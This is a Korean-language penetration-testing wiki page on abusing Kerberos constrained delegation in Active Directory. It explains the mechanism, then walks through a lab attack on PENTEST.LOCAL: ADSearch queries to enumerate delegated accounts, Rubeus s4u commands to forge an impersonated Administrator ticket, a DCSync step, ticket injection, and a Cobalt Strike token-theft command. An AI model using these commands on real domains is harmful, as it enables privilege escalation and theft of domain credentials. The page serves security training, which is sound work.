Constrained Delegation

제약없는 위임은 위임 구성된 컴퓨터 계정이 장악되었을 때, 해당 계정의 메모리에 캐시된 모든 티켓들이 악용될 수 있는 단점이 있었습니다. 또한 자동화된 처리를 위해 사용자의 티켓 사본을 메모리에 캐시한다는 것은 NTLM 인증만을 사용하는 경우에 처리가 불가능하다는 맹점도 존재했습니다. 이런 단점을 극복하기 위해 Windows Server 2003부터는 제약된 위임이 생겼습니다.

기존의 제약없는 위임은 계정의 메모리에 캐시된 타 사용자 TGT 사본을 가지고 서비스 티켓을 요청했다면, 제약된 위임은 계정의 TGT만으로도 다른 사용자의 TGT를 행세하여 서비스 티켓을 발급할 수 있습니다. 하지만 이때 모든 서비스에 대해서 다른 사용자를 가장할 수 있는 것은 아니며, SPN을 지정하여 어떤 서비스에 한하여 다른 사용자를 가장할 수 있는지 미리 정의합니다.

Constrained Delegation 구성

위 그림의 위임 구성을 보면 WS02$ 계정은 LDAP/DC01.PENTEST.LOCAL 서비스에 대해 가장할 수 있는 권한이 있습니다. 따라서 WS02$ 계정을 장악하는데 성공한다면, 도메인 컨트롤러의 LDAP 서비스에 대해 관리자를 사칭하여 접근하는 것이 가능합니다.

일반적인 도메인 객체의 경우 위임이 없기 때문에 msDS-AllowedToDelegateTo 속성 값이 비어있지만, 제약된 위임이 설정된 직후 이 속성 값은 SPN으로 채워지게 됩니다. 따라서 위임된 객체를 탐색할 땐 msDS-AllowedToDelegateTo 속성이 비어있지 않은 객체를 찾으면 됩니다.

Practice

도메인 내 위임 구성된 객체가 있는지 열거한 뒤 서비스를 식별합니다.

위임 구성 객체 열거

현재 WS02$는 LDAP/DC01.PENTEST.LOCAL SPN에 대해 Constrained Delegation이 설정된 것이 확인됩니다. getST를 통해 도메인 관리자를 사칭한 LDAP 서비스 티켓을 발급 요청합니다.

서비스 티켓 요청

LDAP 서비스에 대한 도메인 관리자 권한은 DCSync 공격 가능성을 제공합니다. 발급된 LDAP 서비스의 도메인 관리자 권한을 이용하여 도메인 객체들에 대한 민감 정보를 탈취합니다.

DCSync
# Constrained Delegation이 설정된 머신 열거
.\ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))" --attributes dnshostname,samaccountname,msds-allowedtodelegateto --json

# Constrained Delegation이 설정된 유저 열거
.\ADSearch.exe --search "(&(objectCategory=user)(msds-allowedtodelegateto=*))" --attributes dnshostname,samaccountname,msds-allowedtodelegateto --json

# 위임이 설정된 계정을 통해 S4U2Self 수행
.\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:TestService /user:wiki /ticket:doI[...skip...]U8= /nowrap

Rubeus의 s4u에서 사용된 명령어 인자는 다음과 같습니다.

  • impersonateuser : Constrained Delegation을 통해 가장하고자 하는 사용자

  • msdsspn : 서비스가 위임할 수 있는 서비스 이름

  • user : 위임을 수행할 수 있는 주체

  • ticket : 위임을 수행할 수 있는 주체의 TGT

S4U를 통해 서비스 티켓이 생성되었다면 새로운 로그인 세션에 삽입하여 세션을 획득합니다.

# 로그인 세션 생성
.\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:wiki /password:FakePass /ticket:doI[...skip...]U8=

# 로그인 세션 토큰 탈취
beacon> steal_token <PID>

Last updated

Was this helpful?